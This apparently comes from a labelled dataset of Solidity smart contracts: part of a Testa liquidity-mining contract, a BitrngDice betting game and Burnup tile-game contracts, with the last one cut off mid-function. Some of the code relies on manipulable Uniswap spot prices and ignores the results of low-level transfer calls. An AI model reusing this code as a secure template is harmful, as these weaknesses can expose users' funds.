require(block.number >= pool.initStartBlock, "Cannot activate until the specific block time arrive");
pool.startBlock = getLatestBlock();
pool.startLiquidity = currentLiquidity;
safeTestaTransfer(msg.sender, getTestaReward(_pid));
}
function activate(uint256 _pid) public onlyEOA nonReentrant {
currentLiquidity = getLiquidity(_pid);
PoolInfo storage pool = poolInfo[_pid];
require(pool.initStartBlock != pool.startBlock);
require(getCountDown(_pid) >= numberOfBlock, "Cannot activate until specific amount of blocks pass");
if(currentLiquidity > pool.startLiquidity){
progressive++;
pool.startLiquidity = currentLiquidity;
}else{
progressive--;
}
if(progressive <= minProgressive){
progressive = minProgressive;
clearPool(_pid);
}else if(progressive >= maxProgressive){
progressive = maxProgressive;
}
pool.startBlock = getLatestBlock();
safeTestaTransfer(msg.sender, getTestaReward(_pid));
}
function getTestaPoolBalance() public view returns (uint256){
return IERC20(testa).balanceOf(address(this));
}
function getProgressive() public view returns (int){
return progressive;
}
function getLatestBlock() public view returns (uint256) {
return block.number;
}
function getCountDown(uint256 _pid) public view returns (uint256){
require(getLatestBlock() > getStartedBlock(_pid));
return getLatestBlock().sub(getStartedBlock(_pid));
}
function getStartedBlock(uint256 _pid) public view returns (uint256){
PoolInfo storage pool = poolInfo[_pid];
return pool.startBlock;
}
function getLiquidity(uint256 _pid) public view returns (uint112){
PoolInfo storage pool = poolInfo[_pid];
( , uint112 _reserve1, ) = pool.uniswap.getReserves();
return _reserve1;
}
function getLatestPrice() public view returns (int) {
(
uint80 roundID,
int price,
uint startedAt,
uint timeStamp,
uint80 answeredInRound
) = priceFeed.latestRoundData();
require(timeStamp > 0, "Round not complete");
return price;
}
function getTestaReward(uint256 _pid) public view returns (uint256){
PoolInfo storage pool = poolInfo[_pid];
(uint112 _reserve0, uint112 _reserve1, ) = pool.uniswap.getReserves();
uint256 reserve = uint256(_reserve0).mul(1e18).div(uint256(_reserve1));
uint256 ethPerDollar = uint256(getLatestPrice()).mul(1e10);
uint256 testaPerDollar = ethPerDollar.mul(1e18).div(reserve);
uint256 _activeReward = activeReward.mul(1e18);
uint256 testaAmount = _activeReward.mul(1e18).div(testaPerDollar);
return testaAmount;
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
function add(uint256 startBlock, uint256 _allocPoint, address _lpToken, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
IUniswapV2Pair uniswap = IUniswapV2Pair(_lpToken);
( , uint112 _reserve1, ) = uniswap.getReserves();
poolInfo.push(PoolInfo({
lpToken: IERC20(_lpToken),
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
accTestaPerShare: 0,
debtIndexKey: 0,
uniswap: uniswap,
startLiquidity: _reserve1,
startBlock: startBlock,
initStartBlock: startBlock
}));
}
function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint);
poolInfo[_pid].allocPoint = _allocPoint;
}
function setMigrator(IMigratorChef _migrator) public onlyOwner {
migrator = _migrator;
}
function migrate(uint256 _pid) public {
require(address(migrator) != address(0), "migrate: no migrator");
PoolInfo storage pool = poolInfo[_pid];
IERC20 lpToken = pool.lpToken;
uint256 bal = lpToken.balanceOf(address(this));
lpToken.safeApprove(address(migrator), bal);
IERC20 newLpToken = migrator.migrate(lpToken);
require(bal == newLpToken.balanceOf(address(this)), "migrate: bad");
pool.lpToken = newLpToken;
}
function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) {
return _to.sub(_from);
}
function clearPool(uint256 _pid) internal {
PoolInfo storage pool = poolInfo[_pid];
pool.accTestaPerShare = 0;
pool.lastRewardBlock = block.number;
pool.debtIndexKey++;
}
function pendingTesta(uint256 _pid, address _user) public view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accTestaPerShare = pool.accTestaPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 testaReward = multiplier.mul(testaPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
accTestaPerShare = accTestaPerShare.add(testaReward.mul(1e18).div(lpSupply));
}
uint256 rewardDebt = user.rewardDebt[pool.debtIndexKey];
return user.amount.mul(accTestaPerShare).div(1e18).sub(rewardDebt).add(user.pendingTesta[pool.debtIndexKey]);
}
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 testaReward = multiplier.mul(testaPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
pool.accTestaPerShare = pool.accTestaPerShare.add(testaReward.mul(1e18).div(lpSupply));
pool.lastRewardBlock = block.number;
}
function deposit(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
user.pendingTesta[pool.debtIndexKey] = pendingTesta(_pid, msg.sender);
}
if(_amount > 0) {
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt[pool.debtIndexKey] = user.amount.mul(pool.accTestaPerShare).div(1e18);
emit Deposit(msg.sender, _pid, _amount);
}
function withdraw(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "No lpToken cannot withdraw");
updatePool(_pid);
if(_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
}
user.rewardDebt[pool.debtIndexKey] = user.amount.mul(pool.accTestaPerShare).div(1e18);
emit Withdraw(msg.sender, _pid, _amount);
}
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
pool.lpToken.safeTransfer(address(msg.sender), user.amount);
emit EmergencyWithdraw(msg.sender, _pid, user.amount);
user.amount = 0;
user.rewardDebt[pool.debtIndexKey] = 0;
}
function safeTestaTransfer(address _to, uint256 _amount) internal {
uint256 testaBal = IERC20(testa).balanceOf(address(this));
if (_amount > testaBal) {
testa.call(abi.encodeWithSignature("transfer(address,uint256)", _to, testaBal));
} else {
testa.call(abi.encodeWithSignature("transfer(address,uint256)", _to, _amount));
}
}
} | 0 | 191 |
pragma solidity ^0.4.17;
contract BitrngDice {
address public owner;
address private nextOwner;
address public secretSigner;
uint constant MIN_AMOUNT = 0.01 ether;
uint constant MAX_AMOUNT_BIG_SMALL = 1 ether;
uint constant MAX_AMOUNT_SAME = 0.05 ether;
uint constant MAX_AMOUNT_NUMBER = 0.1 ether;
uint constant BET_EXPIRATION_BLOCKS = 250;
uint8 constant MAX_BET = 5;
uint8 constant BET_MASK_COUNT = 22;
uint24 constant BET_BIG = uint24(1 << 21);
uint24 constant BET_SMALL = uint24(1 << 20);
uint24 constant BET_SAME_1 = uint24(1 << 19);
uint24 constant BET_SAME_2 = uint24(1 << 18);
uint24 constant BET_SAME_3 = uint24(1 << 17);
uint24 constant BET_SAME_4 = uint24(1 << 16);
uint24 constant BET_SAME_5 = uint24(1 << 15);
uint24 constant BET_SAME_6 = uint24(1 << 14);
uint24 constant BET_4 = uint24(1 << 13);
uint24 constant BET_5 = uint24(1 << 12);
uint24 constant BET_6 = uint24(1 << 11);
uint24 constant BET_7 = uint24(1 << 10);
uint24 constant BET_8 = uint24(1 << 9);
uint24 constant BET_9 = uint24(1 << 8);
uint24 constant BET_10 = uint24(1 << 7);
uint24 constant BET_11 = uint24(1 << 6);
uint24 constant BET_12 = uint24(1 << 5);
uint24 constant BET_13 = uint24(1 << 4);
uint24 constant BET_14 = uint24(1 << 3);
uint24 constant BET_15 = uint24(1 << 2);
uint24 constant BET_16 = uint24(1 << 1);
uint24 constant BET_17 = uint24(1);
uint public lockedInBets;
bool public enabled = true;
address constant DUMMY_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
struct Game{
address gambler;
uint40 placeBlockNumber;
uint bet1Amount;
uint bet2Amount;
uint bet3Amount;
uint bet4Amount;
uint bet5Amount;
uint24 mask;
}
mapping (uint => Game) games;
mapping (uint24 => uint8) odds;
mapping (uint24 => uint8) betNumberResults;
mapping (uint24 => uint8) betSameResults;
event FailedPayment(address indexed beneficiary, uint amount);
event Payment(address indexed beneficiary, uint amount);
constructor () public {
owner = msg.sender;
secretSigner = DUMMY_ADDRESS;
odds[BET_SMALL] = 2;
odds[BET_BIG] = 2;
odds[BET_SAME_1] = 150;
odds[BET_SAME_2] = 150;
odds[BET_SAME_3] = 150;
odds[BET_SAME_4] = 150;
odds[BET_SAME_5] = 150;
odds[BET_SAME_6] = 150;
odds[BET_9] = 6;
odds[BET_10] = 6;
odds[BET_11] = 6;
odds[BET_12] = 6;
odds[BET_8] = 8;
odds[BET_13] = 8;
odds[BET_7] = 12;
odds[BET_14] = 12;
odds[BET_6] = 14;
odds[BET_15] = 14;
odds[BET_5] = 18;
odds[BET_16] = 18;
odds[BET_4] = 50;
odds[BET_17] = 50;
betNumberResults[BET_9] = 9;
betNumberResults[BET_10] = 10;
betNumberResults[BET_11] = 11;
betNumberResults[BET_12] = 12;
betNumberResults[BET_8] = 8;
betNumberResults[BET_13] = 13;
betNumberResults[BET_7] = 7;
betNumberResults[BET_14] = 14;
betNumberResults[BET_6] = 6;
betNumberResults[BET_15] = 15;
betNumberResults[BET_5] = 5;
betNumberResults[BET_16] = 16;
betNumberResults[BET_4] = 4;
betNumberResults[BET_17] = 17;
betSameResults[BET_SAME_1] = 1;
betSameResults[BET_SAME_2] = 2;
betSameResults[BET_SAME_3] = 3;
betSameResults[BET_SAME_4] = 4;
betSameResults[BET_SAME_5] = 5;
betSameResults[BET_SAME_6] = 6;
}
function placeGame(
uint24 betMask,
uint bet1Amount,
uint bet2Amount,
uint bet3Amount,
uint bet4Amount,
uint bet5Amount,
uint commitLastBlock,
uint commit,
bytes32 r,
bytes32 s
) external payable
{
require (enabled, "Game is closed");
require (bet1Amount + bet2Amount + bet3Amount + bet4Amount + bet5Amount == msg.value,
"Place amount and payment should be equal.");
Game storage game = games[commit];
require (game.gambler == address(0),
"Game should be in a 'clean' state.");
require (block.number <= commitLastBlock, "Commit has expired.");
bytes32 signatureHash = keccak256(abi.encodePacked(uint40(commitLastBlock), commit));
require (secretSigner == ecrecover(signatureHash, 27, r, s), "ECDSA signature is not valid.");
_lockOrUnlockAmount(
betMask,
bet1Amount,
bet2Amount,
bet3Amount,
bet4Amount,
bet5Amount,
1
);
game.placeBlockNumber = uint40(block.number);
game.mask = uint24(betMask);
game.gambler = msg.sender;
game.bet1Amount = bet1Amount;
game.bet2Amount = bet2Amount;
game.bet3Amount = bet3Amount;
game.bet4Amount = bet4Amount;
game.bet5Amount = bet5Amount;
}
function settleGame(uint reveal, uint cleanCommit) external {
uint commit = uint(keccak256(abi.encodePacked(reveal)));
Game storage game = games[commit];
uint bet1Amount = game.bet1Amount;
uint bet2Amount = game.bet2Amount;
uint bet3Amount = game.bet3Amount;
uint bet4Amount = game.bet4Amount;
uint bet5Amount = game.bet5Amount;
uint placeBlockNumber = game.placeBlockNumber;
address gambler = game.gambler;
uint24 betMask = game.mask;
require (
bet1Amount != 0 ||
bet2Amount != 0 ||
bet3Amount != 0 ||
bet4Amount != 0 ||
bet5Amount != 0,
"Bet should be in an 'active' state");
require (block.number > placeBlockNumber, "settleBet in the same block as placeBet, or before.");
require (block.number <= placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
game.bet1Amount = 0;
game.bet2Amount = 0;
game.bet3Amount = 0;
game.bet4Amount = 0;
game.bet5Amount = 0;
uint entropy = uint(
keccak256(abi.encodePacked(reveal, blockhash(placeBlockNumber)))
);
uint winAmount = _getWinAmount(
uint8((entropy % 6) + 1),
uint8(((entropy >> 10) % 6) + 1),
uint8(((entropy >> 20) % 6) + 1),
betMask,
bet1Amount,
bet2Amount,
bet3Amount,
bet4Amount,
bet5Amount
);
_lockOrUnlockAmount(
betMask,
bet1Amount,
bet2Amount,
bet3Amount,
bet4Amount,
bet5Amount,
0
);
if(winAmount > 0){
sendFunds(gambler, winAmount);
}else{
sendFunds(gambler, 1 wei);
}
if (cleanCommit == 0) {
return;
}
clearProcessedBet(cleanCommit);
}
function refundBet(uint commit) external {
Game storage game = games[commit];
uint bet1Amount = game.bet1Amount;
uint bet2Amount = game.bet2Amount;
uint bet3Amount = game.bet3Amount;
uint bet4Amount = game.bet4Amount;
uint bet5Amount = game.bet5Amount;
require (
bet1Amount != 0 ||
bet2Amount != 0 ||
bet3Amount != 0 ||
bet4Amount != 0 ||
bet5Amount != 0,
"Bet should be in an 'active' state");
require (block.number > game.placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
game.bet1Amount = 0;
game.bet2Amount = 0;
game.bet3Amount = 0;
game.bet4Amount = 0;
game.bet5Amount = 0;
_lockOrUnlockAmount(
game.mask,
bet1Amount,
bet2Amount,
bet3Amount,
bet4Amount,
bet5Amount,
0
);
sendFunds(game.gambler, bet1Amount + bet2Amount + bet3Amount + bet4Amount + bet5Amount);
}
function clearProcessedBet(uint commit) private {
Game storage game = games[commit];
if (
game.bet1Amount != 0 ||
game.bet2Amount != 0 ||
game.bet3Amount != 0 ||
game.bet4Amount != 0 ||
game.bet5Amount != 0 ||
block.number <= game.placeBlockNumber + BET_EXPIRATION_BLOCKS
) {
return;
}
game.placeBlockNumber = 0;
game.mask = 0;
game.gambler = address(0);
}
function clearStorage(uint[] cleanCommits) external {
uint length = cleanCommits.length;
for (uint i = 0; i < length; i++) {
clearProcessedBet(cleanCommits[i]);
}
}
function sendFunds(address beneficiary, uint amount) private {
if (beneficiary.send(amount)) {
emit Payment(beneficiary, amount);
} else {
emit FailedPayment(beneficiary, amount);
}
}
function _getWinAmount(
uint8 dice1,
uint8 dice2,
uint8 dice3,
uint24 betMask,
uint bet1Amount,
uint bet2Amount,
uint bet3Amount,
uint bet4Amount,
uint bet5Amount
)
private view returns (uint winAmount)
{
uint8 betCount = 0;
uint24 flag = 0;
uint8 sum = dice1 + dice2 + dice3;
uint8 i = 0;
for (i = 0; i < BET_MASK_COUNT; i++) {
flag = uint24(1) << i;
if(uint24(betMask & flag) == 0){
continue;
}else{
betCount += 1;
}
if(i < 14){
if(sum == betNumberResults[flag]){
winAmount += odds[flag] * _nextAmount(
betCount,
bet1Amount,
bet2Amount,
bet3Amount,
bet4Amount,
bet5Amount
);
}
continue;
}
if(i >= 14 && i < 20){
if(dice1 == betSameResults[flag] && dice1 == dice2 && dice1 == dice3){
winAmount += odds[flag] * _nextAmount(
betCount,
bet1Amount,
bet2Amount,
bet3Amount,
bet4Amount,
bet5Amount
);
}
continue;
}
if(
i == 20 &&
(sum >= 4 && sum <= 10) &&
(dice1 != dice2 || dice1 != dice3 || dice2 != dice3)
){
winAmount += odds[flag] * _nextAmount(
betCount,
bet1Amount,
bet2Amount,
bet3Amount,
bet4Amount,
bet5Amount
);
}
if(
i == 21 &&
(sum >= 11 && sum <= 17) &&
(dice1 != dice2 || dice1 != dice3 || dice2 != dice3)
){
winAmount += odds[flag] * _nextAmount(
betCount,
bet1Amount,
bet2Amount,
bet3Amount,
bet4Amount,
bet5Amount
);
}
if(betCount == MAX_BET){
break;
}
}
}
function _nextAmount(
uint8 betCount,
uint bet1Amount,
uint bet2Amount,
uint bet3Amount,
uint bet4Amount,
uint bet5Amount
)
private pure returns (uint amount)
{
if(betCount == 1){
return bet1Amount;
}
if(betCount == 2){
return bet2Amount;
}
if(betCount == 3){
return bet3Amount;
}
if(betCount == 4){
return bet4Amount;
}
if(betCount == 5){
return bet5Amount;
}
}
function _lockOrUnlockAmount(
uint24 betMask,
uint bet1Amount,
uint bet2Amount,
uint bet3Amount,
uint bet4Amount,
uint bet5Amount,
uint8 lock
)
private
{
uint8 betCount;
uint possibleWinAmount;
uint betBigSmallWinAmount = 0;
uint betNumberWinAmount = 0;
uint betSameWinAmount = 0;
uint24 flag = 0;
for (uint8 i = 0; i < BET_MASK_COUNT; i++) {
flag = uint24(1) << i;
if(uint24(betMask & flag) == 0){
continue;
}else{
betCount += 1;
}
if(i < 14 ){
betNumberWinAmount = _assertAmount(
betCount,
bet1Amount,
bet2Amount,
bet3Amount,
bet4Amount,
bet5Amount,
MAX_AMOUNT_NUMBER,
odds[flag],
betNumberWinAmount
);
continue;
}
if(i >= 14 && i < 20){
betSameWinAmount = _assertAmount(
betCount,
bet1Amount,
bet2Amount,
bet3Amount,
bet4Amount,
bet5Amount,
MAX_AMOUNT_SAME,
odds[flag],
betSameWinAmount
);
continue;
}
if(i >= 20){
betBigSmallWinAmount = _assertAmount(
betCount,
bet1Amount,
bet2Amount,
bet3Amount,
bet4Amount,
bet5Amount,
MAX_AMOUNT_BIG_SMALL,
odds[flag],
betBigSmallWinAmount
);
continue;
}
if(betCount == MAX_BET){
break;
}
}
if(betSameWinAmount >= betBigSmallWinAmount){
possibleWinAmount += betSameWinAmount;
}else{
possibleWinAmount += betBigSmallWinAmount;
}
possibleWinAmount += betNumberWinAmount;
require (betCount > 0 && betCount <= MAX_BET,
"Place bet count should be within range.");
if(lock == 1){
lockedInBets += possibleWinAmount;
require (lockedInBets <= address(this).balance,
"Cannot afford to lose this bet.");
}else{
lockedInBets -= possibleWinAmount;
require (lockedInBets >= 0,
"Not enough locked in amount.");
}
}
function _max(uint amount, uint8 odd, uint possibleWinAmount)
private pure returns (uint newAmount)
{
uint winAmount = amount * odd;
if( winAmount > possibleWinAmount){
return winAmount;
}else{
return possibleWinAmount;
}
}
function _assertAmount(
uint8 betCount,
uint amount1,
uint amount2,
uint amount3,
uint amount4,
uint amount5,
uint maxAmount,
uint8 odd,
uint possibleWinAmount
)
private pure returns (uint amount)
{
string memory warnMsg = "Place bet amount should be within range.";
if(betCount == 1){
require (amount1 >= MIN_AMOUNT && amount1 <= maxAmount, warnMsg);
return _max(amount1, odd, possibleWinAmount);
}
if(betCount == 2){
require (amount2 >= MIN_AMOUNT && amount2 <= maxAmount, warnMsg);
return _max(amount2, odd, possibleWinAmount);
}
if(betCount == 3){
require (amount3 >= MIN_AMOUNT && amount3 <= maxAmount, warnMsg);
return _max(amount3, odd, possibleWinAmount);
}
if(betCount == 4){
require (amount4 >= MIN_AMOUNT && amount4 <= maxAmount, warnMsg);
return _max(amount4, odd, possibleWinAmount);
}
if(betCount == 5){
require (amount5 >= MIN_AMOUNT && amount5 <= maxAmount, warnMsg);
return _max(amount5, odd, possibleWinAmount);
}
}
modifier onlyOwner {
require (msg.sender == owner, "OnlyOwner methods called by non-owner.");
_;
}
function approveNextOwner(address _nextOwner) external onlyOwner {
require (_nextOwner != owner, "Cannot approve current owner.");
nextOwner = _nextOwner;
}
function acceptNextOwner() external {
require (msg.sender == nextOwner, "Can only accept preapproved new owner.");
owner = nextOwner;
}
function () public payable {
}
function setSecretSigner(address newSecretSigner) external onlyOwner {
secretSigner = newSecretSigner;
}
function withdrawFunds(address beneficiary, uint withdrawAmount) external onlyOwner {
require (withdrawAmount <= address(this).balance, "Increase amount larger than balance.");
require (lockedInBets + withdrawAmount <= address(this).balance, "Not enough funds.");
sendFunds(beneficiary, withdrawAmount);
}
function kill() external onlyOwner {
require (lockedInBets == 0, "All bets should be processed (settled or refunded) before self-destruct.");
selfdestruct(owner);
}
function enable(bool _enabled) external onlyOwner{
enabled = _enabled;
}
} | 0 | 2,464 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
pendingOwner = newOwner;
}
function claimOwnership() onlyPendingOwner public {
OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.safeTransfer(owner, balance);
}
}
contract BurnupGameAccessControl is Claimable, Pausable, CanReclaimToken {
address public cfoAddress;
address public cooAddress;
function BurnupGameAccessControl() public {
cfoAddress = msg.sender;
cooAddress = msg.sender;
}
modifier onlyCFO() {
require(msg.sender == cfoAddress);
_;
}
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
function setCFO(address _newCFO) external onlyOwner {
require(_newCFO != address(0));
cfoAddress = _newCFO;
}
function setCOO(address _newCOO) external onlyOwner {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
}
contract BurnupGameBase is BurnupGameAccessControl {
using SafeMath for uint256;
event NextGame(uint256 rows, uint256 cols, uint256 activityTimer, uint256 unclaimedTilePrice, uint256 buyoutReferralBonusPercentage, uint256 buyoutPrizePoolPercentage, uint256 buyoutDividendPercentage, uint256 buyoutFeePercentage);
event Start(uint256 indexed gameIndex, address indexed starter, uint256 timestamp, uint256 prizePool, uint256 rows, uint256 cols, uint256 activityTimer, uint256 unclaimedTilePrice, uint256 buyoutReferralBonusPercentage, uint256 buyoutPrizePoolPercentage, uint256 buyoutDividendPercentage, uint256 buyoutFeePercentage);
event End(uint256 indexed gameIndex, address indexed winner, uint256 indexed identifier, uint256 x, uint256 y, uint256 timestamp, uint256 prize);
event Buyout(uint256 indexed gameIndex, address indexed player, uint256 indexed identifier, uint256 x, uint256 y, uint256 timestamp, uint256 timeoutTimestamp, uint256 newPrice, uint256 newPrizePool);
event SpiceUpPrizePool(uint256 indexed gameIndex, address indexed spicer, uint256 spiceAdded, string message, uint256 newPrizePool);
struct GameSettings {
uint256 rows;
uint256 cols;
uint256 activityTimer;
uint256 unclaimedTilePrice;
uint256 buyoutReferralBonusPercentage;
uint256 buyoutPrizePoolPercentage;
uint256 buyoutDividendPercentage;
uint256 buyoutFeePercentage;
}
struct GameState {
bool gameStarted;
uint256 gameStartTimestamp;
mapping (uint256 => address) identifierToOwner;
mapping (uint256 => uint256) identifierToBuyoutTimestamp;
mapping (uint256 => uint256) identifierToBuyoutPrice;
uint256 lastFlippedTile;
uint256 prizePool;
}
mapping (uint256 => GameSettings) public gameSettings;
mapping (uint256 => GameState) public gameStates;
uint256 public gameIndex = 0;
GameSettings public nextGameSettings;
function BurnupGameBase() public {
setNextGameSettings(
4,
5,
3600,
0.01 ether,
750,
10000,
5000,
2500
);
}
function validCoordinate(uint256 x, uint256 y) public view returns(bool) {
return x < gameSettings[gameIndex].cols && y < gameSettings[gameIndex].rows;
}
function coordinateToIdentifier(uint256 x, uint256 y) public view returns(uint256) {
require(validCoordinate(x, y));
return (y * gameSettings[gameIndex].cols) + x;
}
function identifierToCoordinate(uint256 identifier) public view returns(uint256 x, uint256 y) {
y = identifier / gameSettings[gameIndex].cols;
x = identifier - (y * gameSettings[gameIndex].cols);
}
function setNextGameSettings(
uint256 rows,
uint256 cols,
uint256 activityTimer,
uint256 unclaimedTilePrice,
uint256 buyoutReferralBonusPercentage,
uint256 buyoutPrizePoolPercentage,
uint256 buyoutDividendPercentage,
uint256 buyoutFeePercentage
)
public
onlyCFO
{
require(2000 <= buyoutDividendPercentage && buyoutDividendPercentage <= 12500);
require(buyoutFeePercentage <= 5000);
nextGameSettings = GameSettings({
rows: rows,
cols: cols,
activityTimer: activityTimer,
unclaimedTilePrice: unclaimedTilePrice,
buyoutReferralBonusPercentage: buyoutReferralBonusPercentage,
buyoutPrizePoolPercentage: buyoutPrizePoolPercentage,
buyoutDividendPercentage: buyoutDividendPercentage,
buyoutFeePercentage: buyoutFeePercentage
});
NextGame(rows, cols, activityTimer, unclaimedTilePrice, buyoutReferralBonusPercentage, buyoutPrizePoolPercentage, buyoutDividendPercentage, buyoutFeePercentage);
}
}
contract BurnupGameOwnership is BurnupGameBase {
event Transfer(address indexed from, address indexed to, uint256 indexed deedId);
function name() public pure returns (string _deedName) {
_deedName = "Burnup Tiles";
}
function symbol() public pure returns (string _deedSymbol) {
_deedSymbol = "BURN";
}
function _owns(address _owner, uint256 _identifier) internal view returns (bool) {
return gameStates[gameIndex].identifierToOwner[_identifier] == _owner;
}
function _transfer(address _from, address _to, uint256 _identifier) internal {
gameStates[gameIndex].identifierToOwner[_identifier] = _to;
Transfer(_from, _to, _identifier);
}
function ownerOf(uint256 _identifier) external view returns (address _owner) {
_owner = gameStates[gameIndex].identifierToOwner[_identifier];
require(_owner != address(0));
}
function transfer(address _to, uint256 _identifier) external whenNotPaused {
require(_owns(msg.sender, _identifier));
_transfer(msg.sender, _to, _identifier);
}
}
contract PullPayment {
using SafeMath for uint256;
mapping(address => uint256) public payments;
uint256 public totalPayments;
function withdrawPayments() public {
address payee = msg.sender;
uint256 payment = payments[payee];
require(payment != 0);
require(this.balance >= payment);
totalPayments = totalPayments.sub(payment);
payments[payee] = 0;
assert(payee.send(payment));
}
function asyncSend(address dest, uint256 amount) internal {
payments[dest] = payments[dest].add(amount);
totalPayments = totalPayments.add(amount);
}
}
contract BurnupHoldingAccessControl is Claimable, Pausable, CanReclaimToken {
address public cfoAddress;
mapping (address => bool) burnupGame;
function BurnupHoldingAccessControl() public {
cfoAddress = msg.sender;
}
modifier onlyCFO() {
require(msg.sender == cfoAddress);
_;
}
modifier onlyBurnupGame() {
require(burnupGame[msg.sender]);
_;
}
function setCFO(address _newCFO) external onlyOwner {
require(_newCFO != address(0));
cfoAddress = _newCFO;
}
function addBurnupGame(address addr) external onlyOwner {
burnupGame[addr] = true;
}
function removeBurnupGame(address addr) external onlyOwner {
delete burnupGame[addr];
}
}
contract BurnupHoldingReferral is BurnupHoldingAccessControl {
event SetReferrer(address indexed referral, address indexed referrer);
mapping (address => address) addressToReferrerAddress;
function referrerOf(address player) public view returns (address) {
return addressToReferrerAddress[player];
}
function _setReferrer(address playerAddr, address referrerAddr) internal {
addressToReferrerAddress[playerAddr] = referrerAddr;
SetReferrer(playerAddr, referrerAddr);
}
}
contract BurnupHoldingCore is BurnupHoldingReferral, PullPayment {
using SafeMath for uint256;
address public beneficiary1;
address public beneficiary2;
function BurnupHoldingCore(address _beneficiary1, address _beneficiary2) public {
cfoAddress = msg.sender;
beneficiary1 = _beneficiary1;
beneficiary2 = _beneficiary2;
}
function payBeneficiaries() external payable {
uint256 paymentHalve = msg.value.div(2);
uint256 otherPaymentHalve = msg.value.sub(paymentHalve);
asyncSend(beneficiary1, paymentHalve);
asyncSend(beneficiary2, otherPaymentHalve);
}
function setBeneficiary1(address addr) external onlyCFO {
beneficiary1 = addr;
}
function setBeneficiary2(address addr) external onlyCFO {
beneficiary2 = addr;
}
function setReferrer(address playerAddr, address referrerAddr) external onlyBurnupGame whenNotPaused returns(bool) {
if (referrerOf(playerAddr) == address(0x0) && playerAddr != referrerAddr) {
_setReferrer(playerAddr, referrerAddr);
return true;
}
return false;
}
}
contract BurnupGameFinance is BurnupGameOwnership, PullPayment {
BurnupHoldingCore burnupHolding;
function BurnupGameFinance(address burnupHoldingAddress) public {
burnupHolding = BurnupHoldingCore(burnupHoldingAddress);
}
function _claimedSurroundingTiles(uint256 _deedId) internal view returns (uint256[] memory) {
var (x, y) = identifierToCoordinate(_deedId);
uint256 claimed = 0;
uint256[] memory _tiles = new uint256[](8);
for (int256 dx = -1; dx <= 1; dx++) {
